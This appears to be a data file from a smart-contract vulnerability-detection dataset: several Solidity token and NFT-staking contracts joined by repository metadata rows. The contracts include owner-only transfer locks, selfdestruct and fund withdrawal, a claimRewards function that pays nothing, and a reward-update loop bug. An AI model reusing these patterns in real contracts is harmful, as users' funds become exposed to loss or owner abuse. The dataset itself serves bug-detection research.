require(_isValidated[account], "Account is already validated");
for (uint256 i = 0; i < _validated.length; i++) {
if (_validated[i] == account) {
_validated[i] = _validated[_validated.length - 1];
_isValidated[account] = false;
_validated.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isValidated[sender] && !_isValidated[recipient] && sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(4);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 231,570 | 13,155 |
aeb10294712995f460e186324165008a1063882607df0257c0199be5a3c846c2
| 16,303 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0xfb2fb4f3fb7fb1dc49fae09fce3001b174ff51f0.sol
| 4,042 | 14,966 |
pragma solidity ^0.5.0;
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable
{
address public Owner_master;
address public Owner_creator;
address public Owner_manager;
event ChangeOwner_master(address indexed _from, address indexed _to);
event ChangeOwner_creator(address indexed _from, address indexed _to);
event ChangeOwner_manager(address indexed _from, address indexed _to);
modifier onlyOwner_master{
require(msg.sender == Owner_master); _; }
modifier onlyOwner_creator{
require(msg.sender == Owner_creator); _; }
modifier onlyOwner_manager{
require(msg.sender == Owner_manager); _; }
constructor() public {
Owner_master = msg.sender; }
function transferOwnership_master(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_master;
Owner_master = _to;
emit ChangeOwner_master(from, _to);}
function transferOwner_creator(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_creator;
Owner_creator = _to;
emit ChangeOwner_creator(from, _to);}
function transferOwner_manager(address _to) onlyOwner_master public{
require(_to != Owner_master);
require(_to != Owner_creator);
require(_to != Owner_manager);
require(_to != address(0x0));
address from = Owner_manager;
Owner_manager = _to;
emit ChangeOwner_manager(from, _to);}
}
contract Helper
{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() view public returns (uint _supply);
function balanceOf(address _who) public view returns (uint _value);
function transfer(address _to, uint _value) public returns (bool _success);
function approve(address _spender, uint _value) public returns (bool _success);
function allowance(address _owner, address _spender) public view returns (uint _allowance);
function transferFrom(address _from, address _to, uint _value) public returns (bool _success);
}
contract LNXtest is Helper, Ownable
{
using SafeMath for uint;
string public name;
string public symbol;
uint public decimals;
uint constant private zeroAfterDecimal = 10**18;
uint constant private monInSec = 10;//2592000
uint constant public maxSupply = 2473750000 * zeroAfterDecimal;
uint constant public maxSupply_Public = 100000000 * zeroAfterDecimal;
uint constant public maxSupply_Private = 889500000 * zeroAfterDecimal;
uint constant public maxSupply_Advisor = 123687500 * zeroAfterDecimal;
uint constant public maxSupply_Reserve = 296850000 * zeroAfterDecimal;
uint constant public maxSupply_Marketing = 197900000 * zeroAfterDecimal;
uint constant public maxSupply_Ecosystem = 371062500 * zeroAfterDecimal;
uint constant public maxSupply_RND = 247375000 * zeroAfterDecimal;
uint constant public maxSupply_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingAmountPerRound_RND = 4947500 * zeroAfterDecimal;
uint constant public vestingReleaseTime_RND = 1 * monInSec;
uint constant public vestingReleaseRound_RND = 50;
uint constant public vestingAmountPerRound_Advisor = 30921875 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Advisor = 3 * monInSec;
uint constant public vestingReleaseRound_Advisor = 4;
uint constant public vestingAmountPerRound_Team = 247375000 * zeroAfterDecimal;
uint constant public vestingReleaseTime_Team = 48 * monInSec;
uint constant public vestingReleaseRound_Team = 1;
uint public issueToken_Total;
uint public issueToken_Private;
uint public issueToken_Public;
uint public issueToken_Ecosystem;
uint public issueToken_Marketing;
uint public issueToken_RND;
uint public issueToken_Team;
uint public issueToken_Reserve;
uint public issueToken_Advisor;
uint public burnTokenAmount;
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public approvals;
mapping (uint => uint) public vestingRelease_RND;
mapping (uint => uint) public vestingRelease_Advisor;
mapping (uint => uint) public vestingRelease_Team;
bool public tokenLock = true;
bool public saleTime = true;
uint public endSaleTime = 0;
event Burn(address indexed _from, uint _value);
event Issue_private(address indexed _to, uint _tokens);
event Issue_public(address indexed _to, uint _tokens);
event Issue_ecosystem(address indexed _to, uint _tokens);
event Issue_marketing(address indexed _to, uint _tokens);
event Issue_RND(address indexed _to, uint _tokens);
event Issue_team(address indexed _to, uint _tokens);
event Issue_reserve(address indexed _to, uint _tokens);
event Issue_advisor(address indexed _to, uint _tokens);
event TokenUnLock(address indexed _to, uint _tokens);
constructor() public
{
name = "LNXtest Token";
decimals = 18;
symbol = "LNT";
issueToken_Total = 0;
issueToken_Public = 0;
issueToken_Private = 0;
issueToken_Ecosystem = 0;
issueToken_Marketing = 0;
issueToken_RND = 0;
issueToken_Team = 0;
issueToken_Reserve = 0;
issueToken_Advisor = 0;
require(maxSupply == maxSupply_Public + maxSupply_Private + maxSupply_Ecosystem + maxSupply_Marketing + maxSupply_RND + maxSupply_Team + maxSupply_Reserve + maxSupply_Advisor);
require(maxSupply_RND == vestingAmountPerRound_RND * vestingReleaseRound_RND);
require(maxSupply_Team == vestingAmountPerRound_Team * vestingReleaseRound_Team);
require(maxSupply_Advisor == vestingAmountPerRound_Advisor * vestingReleaseRound_Advisor);
}
// ERC - 20 Interface -----
function totalSupply() view public returns (uint) {
return issueToken_Total;}
function balanceOf(address _who) view public returns (uint) {
uint balance = balances[_who];
return balance;}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;}
function approve(address _spender, uint _value) public returns (bool){
require(isTransferable() == true);
require(balances[msg.sender] >= _value);
approvals[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true; }
function allowance(address _owner, address _spender) view public returns (uint) {
return approvals[_owner][_spender];}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(isTransferable() == true);
require(balances[_from] >= _value);
require(approvals[_from][msg.sender] >= _value);
approvals[_from][msg.sender] = approvals[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;}
// -----
// Issue Function -----
function issue_noVesting_Private(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Private >= issueToken_Private.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Private = issueToken_Private.add(tokens);
emit Issue_private(_to, tokens);
}
function issue_noVesting_Public(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Public >= issueToken_Public.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Public = issueToken_Public.add(tokens);
emit Issue_public(_to, tokens);
}
function issue_noVesting_Marketing(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Marketing >= issueToken_Marketing.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Marketing = issueToken_Marketing.add(tokens);
emit Issue_marketing(_to, tokens);
}
function issue_noVesting_Ecosystem(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Ecosystem >= issueToken_Ecosystem.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Ecosystem = issueToken_Ecosystem.add(tokens);
emit Issue_ecosystem(_to, tokens);
}
function issue_noVesting_Reserve(address _to, uint _value) onlyOwner_creator public
{
uint tokens = _value * zeroAfterDecimal;
require(maxSupply_Reserve >= issueToken_Reserve.add(tokens));
balances[_to] = balances[_to].add(tokens);
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Reserve = issueToken_Reserve.add(tokens);
emit Issue_reserve(_to, tokens);
}
// Vesting Issue Function -----
function issue_vesting_RND(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_RND >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_RND)) < time) && (vestingRelease_RND[_time] > 0));
uint tokens = vestingRelease_RND[_time];
require(maxSupply_RND >= issueToken_RND.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_RND[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_RND = issueToken_RND.add(tokens);
emit Issue_RND(_to, tokens);
}
function issue_vesting_Advisor(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Advisor >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Advisor)) < time) && (vestingRelease_Advisor[_time] > 0));
uint tokens = vestingRelease_Advisor[_time];
require(maxSupply_Advisor >= issueToken_Advisor.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Advisor[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Advisor = issueToken_Advisor.add(tokens);
emit Issue_advisor(_to, tokens);
}
function issueTokenWithVesting_Team(address _to, uint _time) onlyOwner_creator public
{
require(saleTime == false);
require(vestingReleaseRound_Team >= _time);
uint time = now;
require(((endSaleTime + (_time * vestingReleaseTime_Team)) < time) && (vestingRelease_Team[_time] > 0));
uint tokens = vestingRelease_Team[_time];
require(maxSupply_Team >= issueToken_Team.add(tokens));
balances[_to] = balances[_to].add(tokens);
vestingRelease_Team[_time] = 0;
issueToken_Total = issueToken_Total.add(tokens);
issueToken_Team = issueToken_Team.add(tokens);
emit Issue_team(_to, tokens);
}
// -----
// Lock Function -----
function isTransferable() private view returns (bool)
{
if(tokenLock == false)
{
return true;
}
else if(msg.sender == Owner_manager)
{
return true;
}
return false;
}
function setTokenUnlock() onlyOwner_manager public
{
require(tokenLock == true);
require(saleTime == false);
tokenLock = false;
}
function setTokenLock() onlyOwner_manager public
{
require(tokenLock == false);
tokenLock = true;
}
// -----
// ETC / Burn Function -----
function () payable external
{
revert();
}
function endSale() onlyOwner_manager public
{
require(saleTime == true);
saleTime = false;
uint time = now;
endSaleTime = time;
for(uint i = 1; i <= vestingReleaseRound_RND; i++)
{
vestingRelease_RND[i] = vestingRelease_RND[i].add(vestingAmountPerRound_RND);
}
for(uint i = 1; i <= vestingReleaseRound_Advisor; i++)
{
vestingRelease_Advisor[i] = vestingRelease_Advisor[i].add(vestingAmountPerRound_Advisor);
}
for(uint i = 1; i <= vestingReleaseRound_Team; i++)
{
vestingRelease_Team[i] = vestingRelease_Team[i].add(vestingAmountPerRound_Team);
}
}
function withdrawTokens(address _contract, uint _decimals, uint _value) onlyOwner_manager public
{
if(_contract == address(0x0))
{
uint eth = _value.mul(10 ** _decimals);
msg.sender.transfer(eth);
}
else
{
uint tokens = _value.mul(10 ** _decimals);
Helper(_contract).transfer(msg.sender, tokens);
emit Transfer(address(0x0), msg.sender, tokens);
}
}
function burnToken(uint _value) onlyOwner_manager public
{
uint tokens = _value * zeroAfterDecimal;
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
burnTokenAmount = burnTokenAmount.add(tokens);
issueToken_Total = issueToken_Total.sub(tokens);
emit Burn(msg.sender, tokens);
}
function close() onlyOwner_master public
{
selfdestruct(msg.sender);
}
// -----
}
| 134,510 | 13,156 |
b9ec06d45382e7c8993ea8fb4f04747e2581b761cf4bde1f1a7519b431ac5d8c
| 28,717 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ce/ce05094dfce293918d617c453f9dff6fe89a87aa_LiquidLabs.sol
| 3,772 | 15,127 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract LiquidLabs is Ownable, ReentrancyGuard {
// Interfaces for ERC20 and ERC721
IERC721 public immutable nftCollection = IERC721(0xe01A6aCa062aeC8E44CbB6A476769d30CF30e824);
// Staker info
struct Staker {
// Amount of ERC721 Tokens staked
uint256 amountStaked;
// Last time of details update for this User
uint256 timeOfLastUpdate;
// Calculated, but unclaimed rewards for the User. The rewards are
// calculated each time the user writes to the Smart Contract
uint256 unclaimedRewards;
}
// Rewards per hour per token deposited in wei.
// Rewards are cumulated once every hour.
uint256 private rewardsPerHour = 100000;
// Mapping of User Address to Staker info
mapping(address => Staker) public stakers;
// Mapping of Token Id to staker. Made for the SC to remeber
// who to send back the ERC721 Token to.
mapping(uint256 => address) public stakerAddress;
address[] public stakersArray;
// Constructor function
//constructor(IERC721 _nftCollection) {
//nftCollection = _nftCollection;
//}
// If address already has ERC721 Token/s staked, calculate the rewards.
// For every new Token Id in param transferFrom user to this Smart Contract,
// increment the amountStaked and map msg.sender to the Token Id of the staked
// Token to later send back on withdrawal. Finally give timeOfLastUpdate the
// value of now.
function stake(uint256 _tokenId) external nonReentrant {
if (stakers[msg.sender].amountStaked > 0) {
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
} else {
stakersArray.push(msg.sender);
}
require(nftCollection.ownerOf(_tokenId) == msg.sender, "Can't stake tokens you don't own!");
nftCollection.transferFrom(msg.sender, address(this), _tokenId);
stakerAddress[_tokenId] = msg.sender;
stakers[msg.sender].amountStaked += 1;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
// Check if user has any ERC721 Tokens Staked and if he tried to withdraw,
// calculate the rewards and store them in the unclaimedRewards and for each
// ERC721 Token in param: check if msg.sender is the original staker, decrement
// the amountStaked of the user and transfer the ERC721 token back to them
function withdraw(uint256 _tokenId) external nonReentrant {
require(stakers[msg.sender].amountStaked > 0,
"You have no tokens staked");
uint256 rewards = calculateRewards(msg.sender);
stakers[msg.sender].unclaimedRewards += rewards;
require(stakerAddress[_tokenId] == msg.sender);
stakerAddress[_tokenId] = address(0);
nftCollection.transferFrom(address(this), msg.sender, _tokenId);
stakers[msg.sender].amountStaked -= 1;
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
if (stakers[msg.sender].amountStaked == 0) {
for (uint256 i; i < stakersArray.length; ++i) {
if (stakersArray[i] == msg.sender) {
stakersArray[i] = stakersArray[stakersArray.length - 1];
stakersArray.pop();
}
}
}
}
// Calculate rewards for the msg.sender, check if there are any rewards
// claim, set unclaimedRewards to 0 and transfer the ERC20 Reward token
// to the user.
function claimRewards() external {
uint256 rewards = calculateRewards(msg.sender) +
stakers[msg.sender].unclaimedRewards;
require(rewards > 0, "You have no rewards to claim");
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
stakers[msg.sender].unclaimedRewards = 0;
//rewardsToken.safeTransfer(msg.sender, rewards);
}
// Set the rewardsPerHour variable
// Because the rewards are calculated passively, the owner has to first update the rewards
// to all the stakers, witch could result in very heavy load and expensive transactions or
// even reverting due to reaching the gas limit per block. Redesign incoming to bound loop.
function setRewardsPerHour(uint256 _newValue) public onlyOwner {
address[] memory _stakers = stakersArray;
uint256 len = _stakers.length;
for (uint256 i; i < len; ++i) {
address user = _stakers[i];
stakers[user].unclaimedRewards += calculateRewards(user);
stakers[msg.sender].timeOfLastUpdate = block.timestamp;
}
rewardsPerHour = _newValue;
}
//////////
// View //
//////////
function userStakeInfo(address _user)
public
view
returns (uint256 _tokensStaked, uint256 _availableRewards)
{
return (stakers[_user].amountStaked, availableRewards(_user));
}
function availableRewards(address _user) internal view returns (uint256) {
if (stakers[_user].amountStaked == 0) {
return stakers[_user].unclaimedRewards;
}
uint256 _rewards = stakers[_user].unclaimedRewards +
calculateRewards(_user);
return _rewards;
}
/////////////
// Internal//
/////////////
// Calculate rewards for param _staker by calculating the time passed
// since last update in hours and mulitplying it to ERC721 Tokens Staked
// and rewardsPerHour.
function calculateRewards(address _staker)
internal
view
returns (uint256 _rewards)
{
Staker memory staker = stakers[_staker];
return (((((block.timestamp - staker.timeOfLastUpdate) * staker.amountStaked)) * rewardsPerHour) / 3600);
}
}
| 120,686 | 13,157 |
36ef7141fc782f0587aff9c8a9c0990929131c45f17a36a064161840780dedb8
| 34,926 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB2118ea56De8946d99d27135C97871b7CE9617cA/contract.sol
| 4,501 | 17,969 |
pragma solidity ^0.6.1;
/// SPDX-License-Identifier: UNLICENSED
contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
